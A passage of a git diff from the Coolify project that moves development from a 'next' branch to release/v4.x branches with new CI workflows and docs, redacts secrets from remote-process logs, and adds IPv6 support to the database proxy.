+## Changed + +- + +## Deprecated + +- + +## Fixed + +- + +## Removed + +- + +## Refactored + +- + +## Maintenance + +- + +## Issues + +- Fixes diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index c226b15389..ed8d8a39f3 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -2,10 +2,14 @@ ## Changes - + - +## Why + + + ## Issues diff --git a/.github/workflows/coolify-release-branch-build.yml b/.github/workflows/coolify-release-branch-build.yml new file mode 100644 index 0000000000..8b9e4bb4e6 --- /dev/null +++ b/.github/workflows/coolify-release-branch-build.yml @@ -0,0 +1,144 @@ +name: Build Coolify Release Branch + +on: + push: + branches: ["release/v*"] + paths-ignore: + - .github/workflows/coolify-helper.yml + - .github/workflows/coolify-helper-next.yml + - .github/workflows/pr-quality.yaml + - docker/coolify-helper/Dockerfile + - docker/testing-host/Dockerfile + - templates/** + - CHANGELOG.md + +permissions: + contents: read + packages: write + +concurrency: + group: coolify-release-branch-build-${{ github.ref_name }} + cancel-in-progress: false + +env: + GITHUB_REGISTRY: ghcr.io + DOCKER_REGISTRY: docker.io + IMAGE_NAME: coollabsio/coolify + +jobs: + prepare: + runs-on: ubuntu-24.04 + outputs: + dev_version: ${{ steps.version.outputs.dev_version }} + short_sha: ${{ steps.version.outputs.short_sha }} + version: ${{ steps.version.outputs.version }} + steps: + - name: Resolve version from branch name + id: version + env: + BRANCH: ${{ github.ref_name }} + run: | + if [[ ! "${BRANCH}" =~ ^release/v([0-9]+)\.([0-9]+)$ ]]; then + echo "Invalid release branch: ${BRANCH}. Expected release/vX.Y, such as release/v4.5." + exit 1 + fi + + DEV_VERSION="${BASH_REMATCH[1]}.${BASH_REMATCH[2]}-dev" + SHORT_SHA="${GITHUB_SHA::7}" + echo "dev_version=${DEV_VERSION}" >> "$GITHUB_OUTPUT" + echo "short_sha=${SHORT_SHA}" >> "$GITHUB_OUTPUT" + echo "version=${DEV_VERSION}.${SHORT_SHA}" >> "$GITHUB_OUTPUT" + + build: + needs: prepare + strategy: + matrix: + include: + - arch: amd64 + platform: linux/amd64 + runner: ubuntu-24.04 + - arch: aarch64 + platform: linux/aarch64 + runner: ubuntu-24.04-arm + runs-on: ${{ matrix.runner }} + steps: + - uses: actions/checkout@v5 + with: + persist-credentials: false + + - uses: docker/setup-buildx-action@v3 + + - name: Login to ${{ env.GITHUB_REGISTRY }} + uses: docker/login-action@v3 + with: + registry: ${{ env.GITHUB_REGISTRY }} + username: ${{ github.actor }} + password: ${{ secrets.GITHUB_TOKEN }} + + - name: Login to ${{ env.DOCKER_REGISTRY }} + uses: docker/login-action@v3 + with: + registry: ${{ env.DOCKER_REGISTRY }} + username: ${{ secrets.DOCKERHUB_USERNAME }} + password: ${{ secrets.DOCKERHUB_TOKEN }} + + - name: Build and push release branch image (${{ matrix.arch }}) + uses: docker/build-push-action@v6 + with: + context: . + file: docker/production/Dockerfile + platforms: ${{ matrix.platform }} + push: true + build-args: | + COOLIFY_VERSION=${{ needs.prepare.outputs.version }} + tags: | + ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ needs.prepare.outputs.version }}-${{ matrix.arch }} + ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ needs.prepare.outputs.version }}-${{ matrix.arch }} + + publish: + needs: [prepare, build] + runs-on: ubuntu-24.04 + strategy: + matrix: + registry: [ghcr.io, docker.io] + steps: + - uses: docker/setup-buildx-action@v3 + + - name: Login to ${{ env.GITHUB_REGISTRY }} + if: matrix.registry == 'ghcr.io' + uses: docker/login-action@v3 + with: + registry: ${{ env.GITHUB_REGISTRY }} + username: ${{ github.actor }} + password: ${{ secrets.GITHUB_TOKEN }} + + - name: Login to ${{ env.DOCKER_REGISTRY }} + if: matrix.registry == 'docker.io' + uses: docker/login-action@v3 + with: + registry: ${{ env.DOCKER_REGISTRY }} + username: ${{ secrets.DOCKERHUB_USERNAME }} + password: ${{ secrets.DOCKERHUB_TOKEN }} + + - name: Publish release branch manifest on ${{ matrix.registry }} + env: + REGISTRY: ${{ matrix.registry }} + DEV_VERSION: ${{ needs.prepare.outputs.dev_version }} + VERSION: ${{ needs.prepare.outputs.version }} + run: | + IMAGE="${REGISTRY}/${IMAGE_NAME}" + docker buildx imagetools create \ + "${IMAGE}:${VERSION}-amd64" \ + "${IMAGE}:${VERSION}-aarch64" \ + --tag "${IMAGE}:${VERSION}" \ + --tag "${IMAGE}:${DEV_VERSION}" + + notify: + needs: [prepare, build, publish] + if: always() + runs-on: ubuntu-24.04 + steps: + - uses: sarisia/actions-status-discord@v1 + with: + webhook: ${{ secrets.DISCORD_WEBHOOK_DEV_RELEASE_CHANNEL }} + status: ${{ contains(needs.*.result, 'failure') && 'failure' || (contains(needs.*.result, 'cancelled') && 'cancelled' || 'success') }} diff --git a/.github/workflows/sync-main-to-next.yml b/.github/workflows/sync-main-to-next.yml deleted file mode 100644 index cc53b0ca88..0000000000 --- a/.github/workflows/sync-main-to-next.yml +++ /dev/null @@ -1,65 +0,0 @@ -name: Sync main to next - -on: - schedule: - - cron: '*/10 * * * *' - workflow_dispatch: - -permissions: - contents: write - pull-requests: write - -concurrency: - group: sync-main-to-next - cancel-in-progress: false - -jobs: - sync: - name: Merge main into next - runs-on: ubuntu-latest - steps: - - name: Checkout next - uses: actions/checkout@v5 - with: - ref: next - fetch-depth: 0 - - - name: Merge main into next - env: - GH_TOKEN: ${{ github.token }} - run: | - git config user.name 'github-actions[bot]' - git config user.email '41898282+github-actions[bot]@users.noreply.github.com' - git fetch origin main next - - if git merge --no-edit origin/main; then - git push origin HEAD:next - exit 0 - fi - - conflicts=$(git diff --name-only --diff-filter=U) - git merge --abort - - if [ -z "$conflicts" ]; then - echo 'The merge failed without conflicts, so no pull request was created.' - exit 1 - fi - - sync_branch='automation/sync-main-to-next' - existing_pr=$(gh pr list --base next --head "$sync_branch" --state open --json url --jq '.[0].url') - if [ -n "$existing_pr" ]; then - # The conflict was already reported when this pull request was opened. - # Stay green until it is merged instead of failing every scheduled run. - echo "::notice title=main to next sync blocked::main still conflicts with next; resolve the open pull request: $existing_pr" - exit 0 - fi - - git push --force origin origin/main:"refs/heads/$sync_branch" - gh pr create \ - --base next \ - --head "$sync_branch" \ - --title 'chore: merge main into next' \ - --body 'This pull request was created automatically because main could not be merged into next without conflicts. Resolve conflicts on this temporary branch; never update main with next.' - - echo '::error title=main to next sync blocked::main could not be merged into next without conflicts; a pull request was opened to resolve them.' - exit 1 diff --git a/.github/workflows/sync-main-to-release.yml b/.github/workflows/sync-main-to-release.yml new file mode 100644 index 0000000000..6ea7ea0768 --- /dev/null +++ b/.github/workflows/sync-main-to-release.yml @@ -0,0 +1,81 @@ +name: Sync main to release branches + +on: + schedule: + - cron: '*/10 * * * *' + workflow_dispatch: + +permissions: + contents: write + pull-requests: write + +concurrency: + group: sync-main-to-release + cancel-in-progress: false + +jobs: + sync: + name: Merge main into release branches + runs-on: ubuntu-latest + steps: + - name: Checkout repository + uses: actions/checkout@v5 + with: + fetch-depth: 0 + + - name: Merge main into every release/v* branch + env: + GH_TOKEN: ${{ github.token }} + run: | + git config user.name 'github-actions[bot]' + git config user.email '41898282+github-actions[bot]@users.noreply.github.com' + git fetch origin main '+refs/heads/release/v*:refs/remotes/origin/release/v*' + + branches=$(git for-each-ref --format='%(refname:lstrip=3)' 'refs/remotes/origin/release/v*') + if [ -z "$branches" ]; then + echo 'No release/v* branch exists, so there is nothing to sync.' + exit 0 + fi + + failed=0 + for branch in $branches; do + echo "::group::Sync main into $branch" + git checkout --quiet -B "$branch" "origin/$branch" + + if git merge --no-edit origin/main; then + git push origin "HEAD:refs/heads/$branch" + echo '::endgroup::' + continue + fi + + conflicts=$(git diff --name-only --diff-filter=U) + git merge --abort + echo '::endgroup::' + + if [ -z "$conflicts" ]; then + echo "::error title=main to $branch sync failed::The merge failed without conflicts, so no pull request was created." + failed=1 + continue + fi + + sync_branch="automation/sync-main-to-${branch//\//-}" + existing_pr=$(gh pr list --base "$branch" --head "$sync_branch" --state open --json url --jq '.[0].url') + if [ -n "$existing_pr" ]; then + # The conflict was already reported when this pull request was opened. + # Stay green until it is merged instead of failing every scheduled run. + echo "::notice title=main to $branch sync blocked::main still conflicts with $branch; resolve the open pull request: $existing_pr" + continue + fi + + git push --force origin origin/main:"refs/heads/$sync_branch" + gh pr create \ + --base "$branch" \ + --head "$sync_branch" \ + --title "chore: merge main into $branch" \ + --body "This pull request was created automatically because main could not be merged into $branch without conflicts. Resolve conflicts on this temporary branch; never update main with $branch." + + echo "::error title=main to $branch sync blocked::main could not be merged into $branch without conflicts; a pull request was opened to resolve them." + failed=1 + done + + exit "$failed" diff --git a/AGENTS.md b/AGENTS.md index fa5c428160..a57f2c2c4c 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -235,8 +235,8 @@ The persistent-storage implementation is the reference pattern: `Project\Service ## Git Workflow - Production branch: `main` -- Development branch: `next` -- Fix PRs should target the current production branch; feature PRs should target `next` +- Development branch: `release/v4.x`, where `x` is the next minor release (for example, `release/v4.5` while production is `4.4.x`). Do not use `next`. +- Fix PRs should target the current production branch; feature PRs should target the current `release/v4.x` branch === foundation rules === diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 626f6d7b93..977b90919a 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -193,11 +193,12 @@ Choose the branch based on the type of change: | --- | --- | --- | | Fixes and small improvements | `main` | `main` | | Security fixes | `main` | `main` | -| New features and larger changes | `next` | `next` | +| New features and larger changes | `release/v4.x` | `release/v4.x` | - For a fix, branch from `main` and target `main`. -- For a feature, branch from `next` and target `next`. -- If a fix is discovered while developing a feature, submit it separately to `main`. Maintainers will merge `main` into `next` so the fix is included there too. +- For a feature, branch from `release/v4.x` and target `release/v4.x`. +- `x` is the number of the next minor release. For example, when the production version is `4.4.x`, use `release/v4.5`. There is no `next` branch. +- If a fix is discovered while developing a feature, submit it separately to `main`. Maintainers will merge `main` into `release/v4.x` so the fix is included there too. - Pull requests targeting the wrong branch may be closed or asked to retarget. diff --git a/DESIGN.md b/DESIGN.md index 1226dd0587..a482fa3e50 100644 --- a/DESIGN.md +++ b/DESIGN.md @@ -736,10 +736,14 @@ Charts follow the application metrics implementation: - downsample long time ranges before rendering. Only add a metric if Sentinel exposes historical data for it. Current Sentinel -history endpoints store CPU and memory. Root filesystem usage is included in -the periodic push payload for threshold notifications, but it is not stored as -a historical Sentinel metric and has no history endpoint, so it cannot power a -disk-usage graph yet. +history endpoints store CPU, memory, disk, network throughput, and load average +(Sentinel PR #47 added disk, network, and load). Bulk snapshot endpoints +(`/api/summary`, `/api/containers/current`) return the latest host and +per-container values in one call for fleet-wide views. + +The fleet Metrics page (`/metrics`, top-level sidebar) aggregates these across +every team server: KPI tiles, per-metric trend cards, a threshold-colored +servers table, and a fleet-wide hottest-containers list. --- @@ -759,6 +763,7 @@ Use these as implementation references: | Dense environment table and footer | `resources/views/livewire/project/shared/environment-variable/all.blade.php` | | Standard table toolbar controls | `resources/views/components/table/*` | | Application metrics charts | `resources/views/livewire/project/shared/metrics.blade.php` | +| Fleet metrics page | `resources/views/livewire/fleet/metrics.blade.php` | | Browser terminal workspace | `resources/views/livewire/terminal/index.blade.php` | | Layer card | `resources/views/components/application/settings-section.blade.php` | | Custom dropdown | `resources/views/components/forms/listbox.blade.php` | diff --git a/README.md b/README.md index 2d02aefa24..13635cd659 100644 --- a/README.md +++ b/README.md @@ -117,6 +117,7 @@ Thank you so much! * [dataforest Cloud](https://cloud.dataforest.net/en) - Deploy cloud servers as seeds independently in seconds. Enterprise hardware, premium network, 100% made in Germany. * [ISHosting](https://ishosting.com/) - Hosting and VPS solutions * [QuickSrv](https://quicksrv.io/) - Fast and reliable server hosting +* [NodePlus.ai](https://nodeplus.ai/) - AI that reads every system your business runs on ### Small Sponsors diff --git a/RELEASE.md b/RELEASE.md index 3733392a48..15cc64527d 100644 --- a/RELEASE.md +++ b/RELEASE.md @@ -5,52 +5,54 @@ | Branch | Purpose | | --- | --- | | `main` | Latest production source | -| `next` | Feature integration and RC releases | -| `feature/*` | New features based on and merged into `next` | +| `release/v4.x` | Feature integration and RC releases for the next minor release, such as `release/v4.5` | +| `feature/*` | New features based on and merged into the current `release/v4.x` branch | | `hotfix/X.Y.Z` | Production fixes based on `main` | +`x` is the number of the next minor release. When `4.4.x` is the production version, the release branch is `release/v4.5`. Create a new `release/v4.x` branch from `main` after each stable minor release. Do not use a long-lived `next` branch. + Release workflows never edit or commit versions. Stable versions come from `config/constants.php`; RC versions come from `coolify.nightly.version` in `versions.json` and `other/nightly/versions.json`. ## Where changes go - Fixes, security updates, and small improvements target `main`. -- New features and larger changes target `next`. -- Merge `main` into `next` regularly so every production fix is included in the next release. -- Do not merge `next` into `main` until an RC is approved for a stable release. +- New features and larger changes target the current `release/v4.x` branch. +- **Sync main to release branches** merges `main` into every `release/v*` branch every 10 minutes, so every production fix is included in the next release. If a merge conflicts, it opens a `chore: merge main into release/vX.Y` pull request to resolve. +- Do not merge `release/v4.x` into `main` until an RC is approved for a stable release. ## Feature and RC flow ```text -feature/* → next → RC +feature/* → release/v4.x → RC ``` -1. Merge feature branches into `next`. -2. Set `coolify.nightly.version` in both version files to the intended RC, such as `4.4-rc.1`. -3. Regular `next` builds publish `sha-`, `4.4-rc.1.`, and the moving `next` tag. They never publish the exact `4.4-rc.1` tag. -4. Create a reviewed draft GitHub Release named `v4.4-rc.1` and mark it as a prerelease. -5. Run **Release Coolify RC** manually from `next` and enter `v4.4-rc.1`. -6. The workflow validates the draft and configured nightly version, builds the exact RC, publishes `4.4-rc.1`, updates `next`, and publishes the draft prerelease. +1. Merge feature branches into `release/v4.x`. +2. Set `coolify.nightly.version` in both version files to the intended RC, such as `4.5-rc.1`. +3. Every push to `release/v4.x` runs **Build Coolify Release Branch**. It calculates the version from the branch name and publishes `4.5-dev.` and the moving `4.5-dev` tag. It never publishes an RC or stable tag. +4. Create a reviewed draft GitHub Release named `v4.5-rc.1` and mark it as a prerelease. +5. Run **Release Coolify RC** manually from `release/v4.x` and enter `v4.5-rc.1`. +6. The workflow validates the draft and configured nightly version, builds the exact RC, publishes `4.5-rc.1`, updates the `next` image tag, and publishes the draft prerelease. 7. Advance `coolify.nightly.version` to the next intended RC version. ## Stable release flow ```text -next → main → stable release +release/v4.x → main → stable release ``` -1. Temporarily stop merging features into `next`. -2. Change the version on `next` from the approved RC to the stable version, such as `4.4.0`. -3. Merge `next` into `main`. -4. Create a reviewed draft GitHub Release named `v4.4.0`. +1. Temporarily stop merging features into `release/v4.x`. +2. Change the version on `release/v4.x` from the approved RC to the stable version, such as `4.5.0`. +3. Merge `release/v4.x` into `main`. +4. Create a reviewed draft GitHub Release named `v4.5.0`. 5. Run the stable release workflow from `main`. -6. The workflow rebuilds the exact stable version, publishes `4.4.0` and `latest`, then publishes the draft. +6. The workflow rebuilds the exact stable version, publishes `4.5.0` and `latest`, then publishes the draft. 7. Update the CDN only after the release is approved. -8. Advance `next` to the next development version. +8. Create the next release branch from `main`, such as `release/v4.6`, and set its development version. Delete the old release branch. ## Hotfix flow ```text -main → hotfix/X.Y.Z → main → next +main → hotfix/X.Y.Z → main → release/v4.x ``` 1. Create `hotfix/X.Y.Z` from `main` when a patch needs an integration branch. A single fix may use a normal branch from `main` instead. @@ -59,7 +61,7 @@ main → hotfix/X.Y.Z → main → next 4. Merge the fix into `main`. 5. Create a reviewed draft GitHub Release named `vX.Y.Z`. 6. Run the stable release workflow from `main`. -7. Merge `main` into `next`, resolve the version in favor of the next intended RC, and delete the hotfix branch if one was used. +7. Merge `main` into `release/v4.x`, resolve the version in favor of the next intended RC, and delete the hotfix branch if one was used. 8. Update the CDN only after the release is approved. ## Image tags @@ -67,9 +69,11 @@ main → hotfix/X.Y.Z → main → next | Tag | Meaning | | --- | --- | | `latest` | Latest stable release | -| `next` | Latest successful `next` build | +| `next` | Latest successful `next` build (legacy branch) | +| `X.Y-dev` | Latest successful `release/vX.Y` build | +| `X.Y-dev.` | Exact `release/vX.Y` commit build | | `X.Y.Z` | Exact stable release | | `X.Y-rc.N` | Exact RC release | | `sha-` | Exact commit build | -Git tags use the `v` prefix, such as `v4.4.0`. Docker image tags do not. +Git tags use the `v` prefix, such as `v4.5.0`. Docker image tags do not. diff --git a/app/Actions/CoolifyTask/RunRemoteProcess.php b/app/Actions/CoolifyTask/RunRemoteProcess.php index 90affa8db2..4f525ebcc8 100644 --- a/app/Actions/CoolifyTask/RunRemoteProcess.php +++ b/app/Actions/CoolifyTask/RunRemoteProcess.php @@ -6,19 +6,33 @@ use App\Enums\ActivityTypes; use App\Enums\ProcessStatus; use App\Helpers\SshMultiplexingHelper; use App\Jobs\ApplicationDeploymentJob; +use App\Models\Application; +use App\Models\EnvironmentVariable; use App\Models\Server; +use App\Models\Service; +use App\Models\ServiceApplication; +use App\Models\ServiceDatabase; +use App\Services\Security\SensitiveDataRedactor; use App\Support\DatabaseImport\DatabaseImportCleanup; use App\Support\RemoteProcessCommand; use App\Support\ResourceStartActivity; use App\Traits\BroadcastsToTeam; use Illuminate\Contracts\Process\ProcessResult; +use Illuminate\Process\Exceptions\ProcessTimedOutException; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Log; use Illuminate\Support\Facades\Process; use Spatie\Activitylog\Models\Activity; +use Symfony\Component\Process\Exception\ProcessTimedOutException as SymfonyProcessTimedOutException; +use Throwable; class RunRemoteProcess { + /** + * A private key block that has no END line yet. + */ + private const UNFINISHED_PRIVATE_KEY_PATTERN = '/-----BEGIN [A-Z ]*PRIVATE KEY-----(?![\s\S]*-----END [A-Z ]*PRIVATE KEY-----)[\s\S]*/'; + public Activity $activity; public bool $hide_from_output; @@ -39,6 +53,21 @@ class RunRemoteProcess protected int $counter = 1; + /** + * Output of each stream that is not redacted yet, because its line or private key block is not complete. + * + * @var array + */ + private array $pendingOutput = []; + + /** + * Environment values of the activity's resource to hide in its output, resolved once. + * False when resolving them failed, so the output is fully redacted. + * + * @var array{known: list, locked: list}|false|null + */ + private array|false|null $logSecrets = null; + /** * Create a new job instance. */ @@ -83,16 +112,23 @@ class RunRemoteProcess $status = ProcessStatus::IN_PROGRESS; $timeout = config('constants.ssh.command_timeout'); - $process = Process::timeout($timeout)->start($this->getCommand(), $this->handleOutput(...)); - // Start from the stored properties and save now, so later output writes only change the log and - // never write back an old copy over a status that Coolify set meanwhile (for example a stopped import). - $stored = Activity::query()->whereKey($this->activity->getKey())->first()?->properties ?? $this->activity->properties; - $this->activity->properties = $stored->merge([ - 'process_id' => $process->id(), - ]); - $this->activity->save(); + try { + $process = Process::timeout($timeout)->start($this->getCommand(), $this->handleOutput(...)); + // Start from the stored properties and save now, so later output writes only change the log and + // never write back an old copy over a status that Coolify set meanwhile (for example a stopped import). + $stored = Activity::query()->whereKey($this->activity->getKey())->first()?->properties ?? $this->activity->properties; + $this->activity->properties = $stored->merge([ + 'process_id' => $process->id(), + ]); + $this->activity->save(); - $processResult = $process->wait(); + $processResult = $process->wait(); + } catch (ProcessTimedOutException|SymfonyProcessTimedOutException) { + // The timeout message contains the full SSH command, which can contain secrets. + throw new \RuntimeException("The command on the server timed out after {$timeout} seconds.", 124); + } finally { + $this->flushPendingOutput(); + } // A database import whose SSH command ended without the restore result keeps blocking the // database until its restore is stopped. The stop event also cleans up, so the normal @@ -103,13 +139,13 @@ class RunRemoteProcess && DatabaseImportCleanup::stopAfterTransportFailure($this->activity, $processResult->exitCode())) { $this->activity->properties = $this->activity->properties->merge([ 'exitCode' => $processResult->exitCode(), - 'stdout' => $processResult->output(), - 'stderr' => $processResult->errorOutput(), + 'stdout' => $this->redact($processResult->output()), + 'stderr' => $this->redact($processResult->errorOutput()), ]); $this->activity->save(); if (! $this->ignore_errors) { - throw new \RuntimeException($processResult->errorOutput(), $processResult->exitCode()); + throw new \RuntimeException($this->redact($processResult->errorOutput()), $processResult->exitCode()); } return $processResult; @@ -127,8 +163,8 @@ class RunRemoteProcess $properties = [ 'exitCode' => $processResult->exitCode(), - 'stdout' => $processResult->output(), - 'stderr' => $processResult->errorOutput(), + 'stdout' => $this->redact($processResult->output()), + 'stderr' => $this->redact($processResult->errorOutput()), 'status' => $status->value, ]; @@ -148,12 +184,12 @@ class RunRemoteProcess if ($this->call_event_on_finish) { try { self::dispatchFinishEvent($this->activity, $this->call_event_on_finish, $this->call_event_data); - } catch (\Throwable $e) { + } catch (Throwable $e) { Log::error('Error calling event: '.$e->getMessage()); } } if ($processResult->exitCode() != 0 && ! $this->ignore_errors) { - throw new \RuntimeException($processResult->errorOutput(), $processResult->exitCode()); + throw new \RuntimeException($this->redact($processResult->errorOutput()), $processResult->exitCode()); } return $processResult; @@ -192,6 +228,11 @@ class RunRemoteProcess if ($this->hide_from_output) { return; } + $this->pendingOutput[$type] = ($this->pendingOutput[$type] ?? '').$output; + $output = self::takeCompleteOutput($this->pendingOutput[$type]); + if ($output === '') { + return; + } $this->current_time = $this->elapsedTime(); $this->activity->description = $this->encodeOutput($type, $output); if ($this->isAfterLastThrottle()) { @@ -203,6 +244,51 @@ class RunRemoteProcess } } + /** + * Write the output that is still buffered when the process ends, also after a timeout or failure. + */ + private function flushPendingOutput(): void + { + $written = false; + foreach ($this->pendingOutput as $type => $pending) { + $output = self::takeCompleteOutput($this->pendingOutput[$type], final: true); + if ($output !== '') { + $this->activity->description = $this->encodeOutput($type, $output); + $written = true; + } + } + if ($written) { + $this->activity->save(); + } + } + + /** + * Take the complete lines from the buffered output of a stream, so a secret split across output + * chunks is redacted as a whole. A private key block stays buffered until its END line. With + * $final, all buffered output is taken, and an unfinished private key block is hidden. + */ + public static function takeCompleteOutput(string &$pending, bool $final = false): string + { + if ($final) { + $output = preg_replace(self::UNFINISHED_PRIVATE_KEY_PATTERN, REDACTED, $pending) ?? REDACTED; + $pending = ''; + + return $output; + } + + $end = max(strrpos($pending, "\n"), strrpos($pending, "\r")); + if ($end === false) { + return ''; + } + $output = substr($pending, 0, $end + 1); + if (preg_match(self::UNFINISHED_PRIVATE_KEY_PATTERN, $output, $match, PREG_OFFSET_CAPTURE) === 1) { + $output = substr($output, 0, $match[0][1]); + } + $pending = substr($pending, strlen($output)); + + return $output; + } + protected function elapsedTime(): int { $timeMs = (hrtime(true) - $this->time_start) / 1_000_000; @@ -215,7 +301,7 @@ class RunRemoteProcess $outputStack = json_decode($this->activity->description, associative: true, flags: JSON_THROW_ON_ERROR | JSON_UNESCAPED_UNICODE); $outputStack[] = [ 'type' => $type, - 'output' => $output, + 'output' => $this->redact($output), 'timestamp' => hrtime(true), 'batch' => ApplicationDeploymentJob::$batch_counter, 'order' => $this->getLatestCounter(), @@ -234,6 +320,50 @@ class RunRemoteProcess return end($description)['order'] + 1; } + private function redact(string $value): string + { + $this->logSecrets ??= $this->resolveLogSecrets(); + if ($this->logSecrets === false) { + return REDACTED; + } + + return resolve(SensitiveDataRedactor::class)->redactText($value, $this->logSecrets['known'], $this->logSecrets['locked']); + } + + /** + * The environment values of the application or service this activity runs for, following + * the resource's log redaction setting. + * + * @return array{known: list, locked: list}|false + */ + private function resolveLogSecrets(): array|false + { + try { + return EnvironmentVariable::logRedactionSecretsFor($this->logResource()); + } catch (Throwable) { + return false; + } + } + + private function logResource(): Application|Service|null + { + $subject = $this->activity->subject_type !== null ? $this->activity->subject : null; + if ($subject instanceof ServiceApplication || $subject instanceof ServiceDatabase) { + return $subject->service; + } + if ($subject instanceof Application || $subject instanceof Service) { + return $subject; + } + + $typeUuid = $this->activity->getExtraProperty('type_uuid'); + if (! is_string($typeUuid) || $typeUuid === '') { + return null; + } + + return Service::query()->where('uuid', $typeUuid)->first() + ?? Application::query()->where('uuid', $typeUuid)->first(); + } + /** * Determines if it's time to write again to database. * diff --git a/app/Actions/Database/StartClickhouse.php b/app/Actions/Database/StartClickhouse.php index f3831125a1..d053142d2c 100644 --- a/app/Actions/Database/StartClickhouse.php +++ b/app/Actions/Database/StartClickhouse.php @@ -2,6 +2,7 @@ namespace App\Actions\Database; +use App\Actions\Shared\EnsureContentFilesOnServer; use App\Models\StandaloneClickhouse; use App\Traits\ExecutesDatabaseStartCommands; use Lorisleiva\Actions\Concerns\AsAction; @@ -36,6 +37,7 @@ class StartClickhouse $persistent_storages = $this->generate_local_persistent_volumes(); $persistent_file_volumes = $this->database->fileStorages()->get(); + array_push($this->commands, ...EnsureContentFilesOnServer::echoCommands($persistent_file_volumes, $this->database->destination->server)); $volume_names = $this->generate_local_persistent_volumes_only_volume_names(); $environment_variables = $this->generate_environment_variables(); @@ -178,15 +180,15 @@ class StartClickhouse } } - if ($environment_variables->filter(fn ($env) => str($env)->contains('CLICKHOUSE_USER'))->isEmpty()) { + if (! $this->hasEnvironmentVariable($environment_variables, 'CLICKHOUSE_USER')) { $environment_variables->push("CLICKHOUSE_USER={$this->database->clickhouse_admin_user}"); } - if ($environment_variables->filter(fn ($env) => str($env)->contains('CLICKHOUSE_PASSWORD'))->isEmpty()) { + if (! $this->hasEnvironmentVariable($environment_variables, 'CLICKHOUSE_PASSWORD')) { $environment_variables->push("CLICKHOUSE_PASSWORD={$this->database->clickhouse_admin_password}"); } - if ($environment_variables->filter(fn ($env) => str($env)->contains('CLICKHOUSE_DB'))->isEmpty()) { + if (! $this->hasEnvironmentVariable($environment_variables, 'CLICKHOUSE_DB')) { $environment_variables->push("CLICKHOUSE_DB={$this->database->clickhouse_db}"); } diff --git a/app/Actions/Database/StartDatabaseProxy.php b/app/Actions/Database/StartDatabaseProxy.php index 1f71465a1a..f26b8cbb25 100644 --- a/app/Actions/Database/StartDatabaseProxy.php +++ b/app/Actions/Database/StartDatabaseProxy.php @@ -2,6 +2,7 @@ namespace App\Actions\Database; +use App\Models\Server; use App\Models\ServiceDatabase; use App\Models\StandaloneClickhouse; use App\Models\StandaloneDragonfly; @@ -58,6 +59,8 @@ class StartDatabaseProxy $configuration_dir = database_proxy_dir($database->uuid); $host_configuration_dir = devHostDockerPath($server, $configuration_dir); $timeoutConfig = $this->buildProxyTimeoutConfig($database->public_port_timeout); + $listenConfig = $this->buildListenConfig($database->public_port, $this->isNetworkIpv6Enabled($network, $server)); + $upstreamConfig = $this->buildUpstreamConfig($containerName, $internalPort); $nginxconf = <<public_port; - proxy_pass $containerName:$internalPort; + $listenConfig + $upstreamConfig $timeoutConfig } } @@ -164,6 +168,36 @@ class StartDatabaseProxy return false; } + /** + * Docker publishes the port on [::] too and forwards it to the container's IPv6 address + * when the network has IPv6 enabled, so nginx must listen there as well. + */ + private function isNetworkIpv6Enabled(string $network, Server $server): bool + { + $safeNetwork = escapeshellarg($network); + $output = instant_remote_process(["docker network inspect {$safeNetwork} --format '{{.EnableIPv6}}'"], $server, false); + + return trim((string) $output) === 'true'; + } + + private function buildListenConfig(int $port, bool $ipv6Enabled): string + { + if (! $ipv6Enabled) { + return "listen {$port};"; + } + + return "listen {$port};\n listen [::]:{$port};"; + } + + /** + * The upstream is a variable so nginx resolves it through Docker's DNS on new connections. + * A literal host is resolved only once at startup, so a restarted database with a new IP would break the proxy. + */ + private function buildUpstreamConfig(string $host, int $port): string + { + return "set \$upstream {$host}:{$port};\n proxy_pass \$upstream;"; + } + private function buildProxyTimeoutConfig(?int $timeout): string { if ($timeout === null || $timeout < 1) { diff --git a/app/Actions/Database/StartDragonfly.php b/app/Actions/Database/StartDragonfly.php index 58d1607aa8..16ad09c95d 100644 --- a/app/Actions/Database/StartDragonfly.php +++ b/app/Actions/Database/StartDragonfly.php @@ -2,6 +2,7 @@ namespace App\Actions\Database; +use App\Actions\Shared\EnsureContentFilesOnServer; use App\Exceptions\DatabaseStartException; use App\Helpers\SslHelper; use App\Models\SslCertificate; @@ -87,6 +88,7 @@ class StartDragonfly $persistent_storages = $this->generate_local_persistent_volumes(); $persistent_file_volumes = $this->database->fileStorages()->get(); + array_push($this->commands, ...EnsureContentFilesOnServer::echoCommands($persistent_file_volumes, $this->database->destination->server)); $volume_names = $this->generate_local_persistent_volumes_only_volume_names(); $environment_variables = $this->generate_environment_variables(); $startCommand = $this->buildStartCommand(); @@ -263,7 +265,7 @@ class StartDragonfly } } - if ($environment_variables->filter(fn ($env) => str($env)->contains('REDIS_PASSWORD'))->isEmpty()) { + if (! $this->hasEnvironmentVariable($environment_variables, 'REDIS_PASSWORD')) { $environment_variables->push("REDIS_PASSWORD={$this->database->dragonfly_password}"); } diff --git a/app/Actions/Database/StartKeydb.php b/app/Actions/Database/StartKeydb.php index 770d055001..fa86576d5e 100644 --- a/app/Actions/Database/StartKeydb.php +++ b/app/Actions/Database/StartKeydb.php @@ -2,6 +2,7 @@ namespace App\Actions\Database; +use App\Actions\Shared\EnsureContentFilesOnServer; use App\Exceptions\DatabaseStartException; use App\Helpers\SslHelper; use App\Models\SslCertificate; @@ -87,6 +88,7 @@ class StartKeydb $persistent_storages = $this->generate_local_persistent_volumes(); $persistent_file_volumes = $this->database->fileStorages()->get(); + array_push($this->commands, ...EnsureContentFilesOnServer::echoCommands($persistent_file_volumes, $this->database->destination->server)); $volume_names = $this->generate_local_persistent_volumes_only_volume_names(); $environment_variables = $this->generate_environment_variables(); $this->add_custom_keydb(); @@ -263,7 +265,7 @@ class StartKeydb } } - if ($environment_variables->filter(fn ($env) => str($env)->contains('REDIS_PASSWORD'))->isEmpty()) { + if (! $this->hasEnvironmentVariable($environment_variables, 'REDIS_PASSWORD')) { $environment_variables->push("REDIS_PASSWORD={$this->database->keydb_password}"); } diff --git a/app/Actions/Database/StartMariadb.php b/app/Actions/Database/StartMariadb.php index 6dd7842fed..bf5739a86b 100644 --- a/app/Actions/Database/StartMariadb.php +++ 